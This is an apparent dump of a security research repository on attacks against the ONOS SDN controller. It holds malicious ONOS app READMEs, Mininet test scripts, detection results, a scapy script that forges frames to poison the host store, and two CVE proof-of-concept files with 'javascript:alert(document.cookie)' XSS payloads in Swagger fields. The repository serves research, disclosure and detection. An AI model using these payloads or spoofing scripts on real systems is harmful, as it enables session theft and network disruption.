├── apps
├── linkevent-app
│ ├── README.md
│ ├── Makefile
│ ├── pom.xml
│ └── src
│ │ └── main
│ │ └── java
│ │ └── org
│ │ └── linkevent
│ │ └── app
│ │ └── LinkEventApp.java
├── topoedit-app
│ ├── README.md
│ ├── Makefile
│ ├── pom.xml
│ └── src
│ │ └── main
│ │ └── java
│ │ └── org
│ │ └── topoedit
│ │ └── app
│ │ └── Topoedit.java
├── store-dumper-app
│ ├── README.md
│ ├── Makefile
│ ├── pom.xml
│ └── src
│ │ └── main
│ │ └── java
│ │ └── org
│ │ └── onosproject
│ │ └── storedumper
│ │ └── StoreDumper.java
├── locationrouting-app
│ ├── README.md
│ ├── Makefile
│ ├── pom.xml
│ └── src
│ │ └── main
│ │ └── java
│ │ └── org
│ │ └── onosproject
│ │ └── locationrouting
│ │ └── LocationRouting.java
├── dhcpipsat-app
│ ├── Makefile
│ ├── BUILD
│ ├── README.md
│ ├── pom.xml
│ └── src
│ │ └── main
│ │ └── java
│ │ └── org
│ │ └── dhcpipsat
│ │ └── app
│ │ └── DhcpIpSat.java
├── ipsaturation-app
│ ├── Makefile
│ ├── README.md
│ ├── pom.xml
│ └── src
│ │ └── main
│ │ └── java
│ │ └── org
│ │ └── ipsaturation
│ │ └── app
│ │ └── IpSaturation.java
├── xssdevice-app
│ ├── Makefile
│ ├── README.md
│ ├── pom.xml
│ └── src
│ │ └── main
│ │ └── java
│ │ └── org
│ │ └── onosproject
│ │ └── xssdevice
│ │ └── XssDevicePoc.java
├── mal-host-tracking-app
│ ├── Makefile
│ ├── README.md
│ ├── pom.xml
│ └── src
│ │ └── main
│ │ └── java
│ │ └── org
│ │ └── edoardottt
│ │ └── malhosttracking
│ │ └── MalHostTracking.java
├── trash
│ ├── eventhosttracking-app
│ │ ├── Makefile
│ │ ├── pom.xml
│ │ └── src
│ │ │ └── main
│ │ │ └── java
│ │ │ └── org
│ │ │ └── onosproject
│ │ │ └── event-host-tracking
│ │ │ └── app
│ │ │ └── EventHostTracking.java
│ ├── xss-group-app
│ │ ├── pom.xml
│ │ └── src
│ │ │ └── main
│ │ │ └── java
│ │ │ └── org
│ │ │ └── onosproject
│ │ │ └── xssgroup-app
│ │ │ └── XssGroup.java
│ ├── xsspreferences-app
│ │ ├── pom.xml
│ │ └── src
│ │ │ └── main
│ │ │ └── java
│ │ │ └── org
│ │ │ └── onosproject
│ │ │ └── xsspreferences
│ │ │ └── app
│ │ │ └── XssPreferences.java
│ └── xss-host-tracking-app
│ │ ├── pom.xml
│ │ └── src
│ │ └── main
│ │ └── java
│ │ └── org
│ │ └── onosproject
│ │ └── xsshosttracking
│ │ └── XssHostTracking.java
├── impersonation-host-tracking-app
│ ├── Makefile
│ ├── README.md
│ ├── pom.xml
│ └── src
│ │ └── main
│ │ └── java
│ │ └── org
│ │ └── edoardottt
│ │ └── impersonationhosttracking
│ │ └── ImpersonationHostTracking.java
├── README.md
└── IpAddressPoolStore.java
├── detection
├── log-analysis
│ ├── requirements.txt
│ ├── tests
│ │ ├── v1
│ │ │ ├── dist1.pdf
│ │ │ ├── dist1.png
│ │ │ ├── graph1.pdf
│ │ │ ├── graph1.png
│ │ │ └── README.md
│ │ ├── v2
│ │ │ ├── dist2.pdf
│ │ │ ├── dist2.png
│ │ │ ├── graph2.pdf
│ │ │ ├── graph2.png
│ │ │ └── README.md
│ │ ├── v3
│ │ │ ├── dist3.pdf
│ │ │ ├── dist3.png
│ │ │ ├── graph3.pdf
│ │ │ ├── graph3.png
│ │ │ └── README.md
│ │ ├── v4
│ │ │ ├── dist4.pdf
│ │ │ ├── dist4.png
│ │ │ ├── graph4.pdf
│ │ │ ├── graph4.png
│ │ │ └── README.md
│ │ └── v5
│ │ │ ├── dist5.pdf
│ │ │ ├── dist5.png
│ │ │ ├── graph5.pdf
│ │ │ ├── graph5.png
│ │ │ └── README.md
│ └── README.md
└── README.md
├── tests
├── disconnection
│ ├── Disconnection_CAP_attack.png
│ └── README.md
├── impersonation
│ ├── Impersonation_CAP_attack.png
│ ├── README.md
│ ├── impersonation-h4.pcap
│ └── impersonation-h2.pcap
├── README.md
└── mininet
│ ├── test1.sh
│ ├── test2.py
│ └── test1.py
├── .github
└── FUNDING.yml
├── mininet
├── README.md
├── impersonation.py
├── capped-2h1s.py
├── 1snh.py
├── impersonation-test.py
└── nsnh.py
├── scripts
├── add-legit-host-mininet.sh
├── add-fake-host.py
└── README.md
├── CVE-2023-24279
├── CVE-2023-24279-payload.json
└── README.md
├── Makefile
├── CVE-2023-30093
├── CVE-2023-30093-payload.yaml
└── README.md
├── .gitignore
├── onos-dm
├── README.md
├── out
│ ├── predict2.out
│ └── predict1.out
├── auto-encoder.py
├── predict1.py
├── predict2.py
├── gendata2.py
└── gendata1.py
└── README.md
/apps/linkevent-app/README.md:
--------------------------------------------------------------------------------
1 | # linkevent-app
2 |
--------------------------------------------------------------------------------
/apps/topoedit-app/README.md:
--------------------------------------------------------------------------------
1 | # topoedit-app
2 |
--------------------------------------------------------------------------------
/detection/log-analysis/requirements.txt:
--------------------------------------------------------------------------------
1 | igraph
2 | matplotlib
--------------------------------------------------------------------------------
/apps/store-dumper-app/README.md:
--------------------------------------------------------------------------------
1 | ### Store Dumper
2 |
3 | Dump data stores content.
4 |
--------------------------------------------------------------------------------
/apps/locationrouting-app/README.md:
--------------------------------------------------------------------------------
1 | ### Location Routing
2 |
3 | (WIP) Delete flow rules of hosts changing locations.
4 |
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v1/dist1.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v1/dist1.pdf
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v1/dist1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v1/dist1.png
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v2/dist2.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v2/dist2.pdf
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v2/dist2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v2/dist2.png
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v3/dist3.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v3/dist3.pdf
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v3/dist3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v3/dist3.png
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v4/dist4.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v4/dist4.pdf
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v4/dist4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v4/dist4.png
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v5/dist5.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v5/dist5.pdf
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v5/dist5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v5/dist5.png
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v1/graph1.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v1/graph1.pdf
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v1/graph1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v1/graph1.png
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v2/graph2.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v2/graph2.pdf
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v2/graph2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v2/graph2.png
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v3/graph3.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v3/graph3.pdf
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v3/graph3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v3/graph3.png
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v4/graph4.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v4/graph4.pdf
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v4/graph4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v4/graph4.png
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v5/graph5.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v5/graph5.pdf
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v5/graph5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/detection/log-analysis/tests/v5/graph5.png
--------------------------------------------------------------------------------
/tests/disconnection/Disconnection_CAP_attack.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/tests/disconnection/Disconnection_CAP_attack.png
--------------------------------------------------------------------------------
/tests/impersonation/Impersonation_CAP_attack.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/edoardottt/offensive-onos/HEAD/tests/impersonation/Impersonation_CAP_attack.png
--------------------------------------------------------------------------------
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | github: edoardottt
2 | liberapay: edoardottt
3 | patreon: edoardottt
4 | ko_fi: edoardottt
5 | open_collective: edoardottt
6 | custom: "https://www.paypal.me/edoardottt"
7 |
--------------------------------------------------------------------------------
/apps/topoedit-app/Makefile:
--------------------------------------------------------------------------------
1 | compile:
2 | @mvn package -DskipTests
3 | @echo "Done."
4 |
5 | install:
6 | @mvn clean install -DskipTests
7 | @echo "Done."
8 |
9 | oar:
10 | @find . -name '*.oar'
--------------------------------------------------------------------------------
/apps/dhcpipsat-app/Makefile:
--------------------------------------------------------------------------------
1 | compile:
2 | @mvn package -DskipTests
3 | @echo "Done."
4 |
5 | install:
6 | @mvn clean install -DskipTests
7 | @echo "Done."
8 |
9 | oar:
10 | @find . -name '*.oar'
--------------------------------------------------------------------------------
/apps/ipsaturation-app/Makefile:
--------------------------------------------------------------------------------
1 | compile:
2 | @mvn package -DskipTests
3 | @echo "Done."
4 |
5 | install:
6 | @mvn clean install -DskipTests
7 | @echo "Done."
8 |
9 | oar:
10 | @find . -name '*.oar'
--------------------------------------------------------------------------------
/apps/linkevent-app/Makefile:
--------------------------------------------------------------------------------
1 | compile:
2 | @mvn package -DskipTests
3 | @echo "Done."
4 |
5 | install:
6 | @mvn clean install -DskipTests
7 | @echo "Done."
8 |
9 | oar:
10 | @find . -name '*.oar'
--------------------------------------------------------------------------------
/apps/store-dumper-app/Makefile:
--------------------------------------------------------------------------------
1 | compile:
2 | @mvn package -DskipTests
3 | @echo "Done."
4 |
5 | install:
6 | @mvn clean install -DskipTests
7 | @echo "Done."
8 |
9 | oar:
10 | @find . -name '*.oar'
--------------------------------------------------------------------------------
/apps/xssdevice-app/Makefile:
--------------------------------------------------------------------------------
1 | compile:
2 | @mvn package -DskipTests
3 | @echo "Done."
4 |
5 | install:
6 | @mvn clean install -DskipTests
7 | @echo "Done."
8 |
9 | oar:
10 | @find . -name '*.oar'
--------------------------------------------------------------------------------
/apps/locationrouting-app/Makefile:
--------------------------------------------------------------------------------
1 | compile:
2 | @mvn package -DskipTests
3 | @echo "Done."
4 |
5 | install:
6 | @mvn clean install -DskipTests
7 | @echo "Done."
8 |
9 | oar:
10 | @find . -name '*.oar'
--------------------------------------------------------------------------------
/apps/mal-host-tracking-app/Makefile:
--------------------------------------------------------------------------------
1 | compile:
2 | @mvn package -DskipTests
3 | @echo "Done."
4 |
5 | install:
6 | @mvn clean install -DskipTests
7 | @echo "Done."
8 |
9 | oar:
10 | @find . -name '*.oar'
--------------------------------------------------------------------------------
/apps/trash/eventhosttracking-app/Makefile:
--------------------------------------------------------------------------------
1 | compile:
2 | @mvn package -DskipTests
3 | @echo "Done."
4 |
5 | install:
6 | @mvn clean install -DskipTests
7 | @echo "Done."
8 |
9 | oar:
10 | @find . -name '*.oar'
--------------------------------------------------------------------------------
/apps/impersonation-host-tracking-app/Makefile:
--------------------------------------------------------------------------------
1 | compile:
2 | @mvn package -DskipTests
3 | @echo "Done."
4 |
5 | install:
6 | @mvn clean install -DskipTests
7 | @echo "Done."
8 |
9 | oar:
10 | @find . -name '*.oar'
--------------------------------------------------------------------------------
/detection/README.md:
--------------------------------------------------------------------------------
1 | # Detection
2 |
3 | Use Python 3.x
4 |
5 | ## Log Generation
6 |
7 | ```console
8 | python log-generation/gen.py
9 | ```
10 |
11 | ## Log Analysis
12 |
13 | ```console
14 | python log-analysis/analyze.py
15 | ```
16 |
--------------------------------------------------------------------------------
/mininet/README.md:
--------------------------------------------------------------------------------
1 | ### Useful Mininet commands
2 |
3 | - `sh ovs-ofctl dump-flows sX --protocols=Openflow13` (get a flow rules dump of a switch, substitute `sX`)
4 | - `sudo mn --mac --topo linear,4 --controller remote,ip=192.168.1.8 --switch ovs,protocols=Openflow13`
5 |
--------------------------------------------------------------------------------
/tests/README.md:
--------------------------------------------------------------------------------
1 | ### Tests and Results
2 |
3 | - [Hosts disconnection attack test and results](https://github.com/edoardottt/offensive-onos/tree/main/tests/disconnection)
4 | - [Hosts impersonation attack test and results](https://github.com/edoardottt/offensive-onos/tree/main/tests/impersonation)
5 |
--------------------------------------------------------------------------------
/scripts/add-legit-host-mininet.sh:
--------------------------------------------------------------------------------
1 | # Add an host in mininet while the network is up and running.
2 |
3 | py net.addHost('h5')
4 | py net.addLink(s4, net.get('h5'))
5 | py s4.attach('s4-eth3')
6 | py net.get('h5').cmd('ifconfig h5-eth0 10.0.0.5')
7 |
8 | # delete host
9 | # py net.delHost(net.get('h5'))
10 |
--------------------------------------------------------------------------------
/scripts/add-fake-host.py:
--------------------------------------------------------------------------------
1 | # Send this IP packet with `python add-fake-host.py`.
2 | # If Host Location Provider is activated a new host with IP 10.0.0.5
3 | # will be added to the host store.
4 |
5 | from scapy.all import *
6 |
7 | frame = Ether(src="00:00:00:00:00:05", dst="00:00:00:00:00:01")/IP(src="10.0.0.5", dst="10.0.0.4")
8 |
9 | sendp(frame, iface="h1-eth0")
10 |
--------------------------------------------------------------------------------
/CVE-2023-24279/CVE-2023-24279-payload.json:
--------------------------------------------------------------------------------
1 | {
2 | "swagger" : "2.0",
3 | "info" : {
4 | "version" : "1.0.100",
5 | "title" : "Swagger UI v2.2.10 XSS POC",
6 | "description" : "Swagger UI v2.2.10 XSS POC",
7 | "contact" : {
8 | "name" : "edoardottt",
9 | "url" : "javascript:alert(document.cookie)",
10 | "email" : "edoardott@gmail.com"
11 | },
12 | },
13 | }
14 |
--------------------------------------------------------------------------------
/scripts/README.md:
--------------------------------------------------------------------------------
1 | ### Useful scripts
2 |
3 | - [add-legit-host-mininet.sh](https://github.com/edoardottt/offensive-onos-apps/blob/main/scripts/add-legit-host-mininet.sh) adds a new host in Mininet while the network is up and running
4 | - [add-fake-host.py](https://github.com/edoardottt/offensive-onos-apps/blob/main/scripts/add-fake-host.py) can be used to add a new fake host or change a location of a legit host (like ARP poisoning)
5 |
--------------------------------------------------------------------------------
/apps/dhcpipsat-app/BUILD:
--------------------------------------------------------------------------------
1 | COMPILE_DEPS = CORE_DEPS + JACKSON
2 |
3 | osgi_jar_with_tests(
4 | karaf_command_packages = ["org.onosproject.dhcpipsat"],
5 | deps = COMPILE_DEPS,
6 | )
7 |
8 | BUNDLES = [
9 | "//apps/dhcpipsat-app:onos-apps-dhcpipsat-app",
10 | ]
11 |
12 | onos_app(
13 | category = "Monitoring",
14 | description = "CAP attack POC",
15 | included_bundles = BUNDLES,
16 | title = "Vulnerable DHCP Server",
17 | url = "https://edoardottt.com/",
18 | )
19 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | # https://github.com/edoardottt/offensive-onos
2 |
3 | compile:
4 | @mvn package -DskipTests
5 | @echo "Done."
6 |
7 | install:
8 | @mvn clean install -DskipTests
9 | @echo "Done."
10 |
11 | oar:
12 | @find . -name '*.oar'
13 |
14 | generate:
15 | @mvn archetype:generate -DarchetypeGroupId=org.onosproject -DarchetypeArtifactId=onos-bundle-archetype -DarchetypeVersion=2.0.0
16 | @echo "Done."
17 |
18 | venv:
19 | @cd detection/log-analysis && python3 -m venv .venv && . .venv/bin/activate && python3 -m pip install -r requirements.txt
--------------------------------------------------------------------------------
/detection/log-analysis/README.md:
--------------------------------------------------------------------------------
1 | # Test results
2 |
3 | - [`v1`](https://github.com/edoardottt/offensive-onos/tree/main/detection/log-analysis/tests/v1)
4 |
5 | - [`v2`](https://github.com/edoardottt/offensive-onos/tree/main/detection/log-analysis/tests/v2)
6 |
7 | - [`v3`](https://github.com/edoardottt/offensive-onos/tree/main/detection/log-analysis/tests/v3)
8 |
9 | - [`v4`](https://github.com/edoardottt/offensive-onos/tree/main/detection/log-analysis/tests/v4)
10 |
11 | - [`v5`](https://github.com/edoardottt/offensive-onos/tree/main/detection/log-analysis/tests/v5)
12 |
--------------------------------------------------------------------------------
/tests/mininet/test1.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | while true
4 | do
5 | # add host
6 | py net.addHost('h5')
7 | py net.addLink(s4, net.get('h5'))
8 | py s4.attach('s4-eth3')
9 | py net.get('h5').cmd('ifconfig h5-eth0 10.0.0.5')
10 |
11 | # pingall
12 | py net.get('h5').cmd('ping -c 1 10.0.0.1')
13 | py net.get('h5').cmd('ping -c 1 10.0.0.2')
14 | py net.get('h5').cmd('ping -c 1 10.0.0.3')
15 | py net.get('h5').cmd('ping -c 1 10.0.0.4')
16 |
17 | # delete host
18 | py net.delHost(net.get('h5'))
19 |
20 | sleep 1
21 | done
22 |
--------------------------------------------------------------------------------
/CVE-2023-30093/CVE-2023-30093-payload.yaml:
--------------------------------------------------------------------------------
1 | swagger: "2.0"
2 | info:
3 | title: edoardottt XSS
4 | description: XSS ONOS POC
5 | version: 1.0.0
6 | host: edoardottt.com
7 | basePath: /v1
8 | schemes:
9 | - https
10 |
11 | securityDefinitions:
12 | OAuth2:
13 | type: oauth2
14 | flow: accessCode
15 | authorizationUrl: javascript:alert(document.cookie)//
16 | tokenUrl: https://example.com/oauth/token
17 | scopes:
18 | read: Grants read access
19 | write: Grants write access
20 | admin: Grants read and write access to administrative information
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | onos-dm/data*
2 | .vscode/
3 | target/
4 | test*.log
5 | cap*.log
6 | .venv
7 | test-info.txt
8 | generated_cap.txt
9 | test-backup/
10 |
11 | # ONOS compiled apps
12 | *.oar
13 |
14 | # ONOS store dump files
15 | *.dump
16 |
17 | # Compiled class file
18 | *.class
19 |
20 | # BlueJ files
21 | *.ctxt
22 |
23 | # Mobile Tools for Java (J2ME)
24 | .mtj.tmp/
25 |
26 | # Package Files #
27 | *.jar
28 | *.war
29 | *.nar
30 | *.ear
31 | *.zip
32 | *.tar.gz
33 | *.rar
34 |
35 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
36 | hs_err_pid*
37 | replay_pid*
38 |
--------------------------------------------------------------------------------
/tests/mininet/test2.py:
--------------------------------------------------------------------------------
1 | from mininet import net
2 |
3 | def connTest():
4 | print( "Testing host connections" )
5 | while True:
6 | net.addHost('h5')
7 | s4 = net.get('s4')
8 | net.addLink(s4, net.get('h5'))
9 | s4.attach('s4-eth3')
10 | net.get('h5').cmd('ifconfig h5-eth0 10.0.0.5')
11 |
12 | # pingall
13 | net.get('h5').cmd('ping -c 1 10.0.0.1')
14 | net.get('h5').cmd('ping -c 1 10.0.0.2')
15 | net.get('h5').cmd('ping -c 1 10.0.0.3')
16 | net.get('h5').cmd('ping -c 1 10.0.0.4')
17 |
18 | # delete host
19 | net.delHost(net.get('h5'))
20 |
21 |
--------------------------------------------------------------------------------
/mininet/impersonation.py:
--------------------------------------------------------------------------------
1 | #
2 | # sudo mn --mac --custom impersonation.py --topo impersonation --controller remote,ip=192.168.1.8 --switch ovs,protocols=OpenFlow13
3 | #
4 |
5 | from mininet.topo import Topo
6 |
7 | class ImpersonationTopo( Topo ):
8 |
9 | def build( self ):
10 | switch1 = self.addSwitch('s1')
11 | h1 = self.addHost('h1')
12 | self.addLink(switch1, h1)
13 | switch2 = self.addSwitch('s2')
14 | self.addLink(switch1, switch2)
15 | for h in range(1, 4):
16 | host = self.addHost('h%s' % (h + 1))
17 | self.addLink(host, switch2)
18 |
19 |
20 | topos = { 'impersonation': ( lambda: ImpersonationTopo() ) }
21 |
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v4/README.md:
--------------------------------------------------------------------------------
1 | # test.log
2 |
3 | ```text
4 | Which is the new application? j
5 | Enter the time section value: 1000
6 | Enter the maximum length for CAP vectors: 5
7 | The new application is the one under test? (Y/n): n
8 | Found 11 CAP attack vectors!
9 | CAP search in logs started at 2023-09-25 16:09:20.735924.
10 | > Scanning line 130000/130000...
11 | CAP search in logs took 0:00:01.316543.
12 | Found 130 potentially exploited CAP gadgets!
13 | Total positives: 130
14 | True positives: 0
15 | False positives: 130
16 | False negatives: 0
17 | Precision: N/A
18 | Recall: N/A
19 | ```
20 |
21 | 
22 |
23 | 
24 |
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v5/README.md:
--------------------------------------------------------------------------------
1 | # test.log
2 |
3 | ```text
4 | Which is the new application? c
5 | Enter the time section value: 200
6 | Enter the maximum length for CAP vectors: 5
7 | The new application is the one under test? (Y/n):
8 | Found 4 CAP attack vectors!
9 | CAP search in logs started at 2023-09-26 08:47:27.777226.
10 | > Scanning line 124036/124036...
11 | CAP search in logs took 0:00:00.675262.
12 | Found 1094 potentially exploited CAP gadgets!
13 | Total positives: 1094
14 | True positives: 1018
15 | False positives: 76
16 | False negatives: 0
17 | Precision: 0.931
18 | Recall: 1.0
19 | ```
20 |
21 | 
22 |
23 | 
24 |
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v1/README.md:
--------------------------------------------------------------------------------
1 | # test.log
2 |
3 | ```text
4 | Which is the new application? m
5 | Enter the time section value: 1000
6 | Enter the maximum length for CAP vectors: 5
7 | The new application is the one under test? (Y/n):
8 | Found 24 CAP attack vectors!
9 | CAP search in logs started at 2023-09-26 10:33:21.776770.
10 | > Scanning line 139896/139896...
11 | CAP search in logs took 0:00:02.669477.
12 | Found 5997 potentially exploited CAP gadgets!
13 | Total positives: 5997
14 | True positives: 4948
15 | False positives: 1049
16 | False negatives: 0
17 | Precision: 0.825
18 | Recall: 1.0
19 | ```
20 |
21 | 
22 |
23 | 
24 |
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v2/README.md:
--------------------------------------------------------------------------------
1 | # test.log
2 |
3 | ```text
4 | Which is the new application? a
5 | Enter the time section value: 1000
6 | Enter the maximum length for CAP vectors: 5
7 | The new application is the one under test? (Y/n):
8 | Found 8 CAP attack vectors!
9 | CAP search in logs started at 2023-09-26 10:36:08.917322.
10 | > Scanning line 139954/139954...
11 | CAP search in logs took 0:00:01.414003.
12 | Found 6760 potentially exploited CAP gadgets!
13 | Total positives: 6760
14 | True positives: 4977
15 | False positives: 1783
16 | False negatives: 0
17 | Precision: 0.736
18 | Recall: 1.0
19 | ```
20 |
21 | 
22 |
23 | 
24 |
--------------------------------------------------------------------------------
/detection/log-analysis/tests/v3/README.md:
--------------------------------------------------------------------------------
1 | # test.log
2 |
3 | ```text
4 | Which is the new application? l
5 | Enter the time section value: 1000
6 | Enter the maximum length for CAP vectors: 5
7 | The new application is the one under test? (Y/n): n
8 | Found 17 CAP attack vectors!
9 | CAP search in logs started at 2023-09-28 15:37:53.483446.
10 | > Scanning line 149868/149868...
11 | CAP search in logs took 0:00:02.234046.
12 | Found 8153 potentially exploited CAP gadgets!
13 | Total positives: 8153
14 | True positives: 4505
15 | False positives: 3648
16 | False negatives: 462
17 | Precision: 0.553
18 | Recall: 0.907
19 | ```
20 |
21 | 
22 |
23 | 
24 |
--------------------------------------------------------------------------------
/onos-dm/README.md:
--------------------------------------------------------------------------------
1 | These files are intended to help/build/use data mining in ONOS in order to detect CAP attacks.
2 |
3 | Results obtained with gendata2 & predict2 (K-nearest neighbors, K = 3):
4 |
5 | ```
6 | ----------- Training data -----------
7 | Read 1000/1000 lines
8 | Model score: 0.975
9 | Model confusion matrix:
10 | [[520 23]
11 | [ 2 455]]
12 | ----------- Test data -----------
13 | Read 200/200 lines
14 | Model score: 0.98
15 | Model confusion matrix:
16 | [[105 4]
17 | [ 0 91]]
18 | Time difference is 0.0 seconds
19 | ```
20 |
21 | ```
22 | ----------- Training data -----------
23 | Read 200000/200000 lines
24 | Model score: 0.987855
25 | Model confusion matrix:
26 | [[105765 2121]
27 | [ 308 91806]]
28 | ----------- Test data -----------
29 | Read 40000/40000 lines
30 | Model score: 0.975075
31 | Model confusion matrix:
32 | [[20758 816]
33 | [ 181 18245]]
34 | The test ran for 1199.0 seconds
35 | ```
36 |
--------------------------------------------------------------------------------
/apps/dhcpipsat-app/README.md:
--------------------------------------------------------------------------------
1 | # DHCP IP Saturation Application
2 |
3 | DHCP Server vulnerable to IP Saturation (via CAP attack).
4 |
5 | How to use
6 | -----
7 |
8 | Set up data plane using Mininet (use your ONOS IP address):
9 |
10 | ```console
11 | sudo mn --mac --topo linear,4 --controller remote,ip=192.168.1.8 --switch ovs,protocols=OpenFlow13
12 | ```
13 |
14 | Compile and check for errors:
15 |
16 | ```console
17 | make compile
18 | ```
19 |
20 | Compile the app into an .oar (ONOS app archive) file which can be installed into ONOS:
21 |
22 | ```console
23 | make install
24 | ```
25 |
26 | Search for .oar files
27 |
28 | ```console
29 | make oar
30 | ```
31 |
32 | Start ONOS locally
33 |
34 | ```console
35 | bazelisk run onos-local --host_force_python=PY3
36 | ```
37 |
38 | Install the application
39 |
40 | ```console
41 | ./tools/package/runtime/bin/onos-app localhost install! ~/github/offensive-onos-apps/apps/dhcpipsat-app/target/onos-dhcpipsat-2.0.0-SNAPSHOT.oar
42 | ```
43 |
--------------------------------------------------------------------------------
/apps/mal-host-tracking-app/README.md:
--------------------------------------------------------------------------------
1 | # Malicious Host Tracking Application
2 |
3 | Disconnect hosts poisoning the host store with fake locations.
4 |
5 | How to use
6 | -----
7 |
8 | Setup data plane with Mininet (use your ONOS IP address):
9 |
10 | ```console
11 | sudo mn --mac --topo linear,4 --controller remote,ip=192.168.1.8 --switch ovs,protocols=OpenFlow13
12 | ```
13 |
14 | Compile and check for errors:
15 |
16 | ```console
17 | make compile
18 | ```
19 |
20 | Compile the app into an .oar (ONOS app archive) file which can be installed into ONOS:
21 |
22 | ```console
23 | make install
24 | ```
25 |
26 | Search for .oar files
27 |
28 | ```console
29 | make oar
30 | ```
31 |
32 | Start ONOS locally
33 |
34 | ```console
35 | bazel run onos-local
36 | ```
37 |
38 | Install the application
39 |
40 | ```console
41 | ./tools/package/runtime/bin/onos-app localhost install! ~/github/offensive-onos-apps/apps/mal-host-tracking-app/target/onos-malhosttracking-2.0.0-SNAPSHOT.oar
42 | ```
43 |
--------------------------------------------------------------------------------
/apps/ipsaturation-app/README.md:
--------------------------------------------------------------------------------
1 | # IP Saturation Application
2 |
3 | Malicious IP Saturation Application for vulnerable DHCP Server.
4 |
5 | How to use
6 | -----
7 |
8 | Set up data plane using Mininet (use your ONOS IP address):
9 |
10 | ```console
11 | sudo mn --mac --topo linear,4 --controller remote,ip=192.168.1.8 --switch ovs,protocols=OpenFlow13
12 | ```
13 |
14 | Compile and check for errors:
15 |
16 | ```console
17 | make compile
18 | ```
19 |
20 | Compile the app into an .oar (ONOS app archive) file which can be installed into ONOS:
21 |
22 | ```console
23 | make install
24 | ```
25 |
26 | Search for .oar files
27 |
28 | ```console
29 | make oar
30 | ```
31 |
32 | Start ONOS locally
33 |
34 | ```console
35 | bazelisk run onos-local --host_force_python=PY3
36 | ```
37 |
38 | Install the application
39 |
40 | ```console
41 | ./tools/package/runtime/bin/onos-app localhost install! ~/github/offensive-onos-apps/apps/ipsaturation-app/target/onos-ipsaturation-2.0.0-SNAPSHOT.oar
42 | ```
43 |
--------------------------------------------------------------------------------
/apps/impersonation-host-tracking-app/README.md:
--------------------------------------------------------------------------------
1 | # Impersonation Host Tracking Application
2 |
3 | Impersonate legitimate hosts poisoning the host store with fake locations.
4 |
5 | How to use
6 | -----
7 |
8 | Set up data plane using Mininet (use [mitmhosttracking-topo.py](https://github.com/edoardottt/offensive-onos-apps/blob/main/mininet/mitmhosttracking-topo.py) and your ONOS IP address):
9 |
10 | ```console
11 | sudo mn --mac --custom impersonation.py --topo impersonation --controller remote,ip=192.168.1.8 --switch ovs,protocols=OpenFlow13
12 | ```
13 |
14 | Compile and check for errors:
15 |
16 | ```console
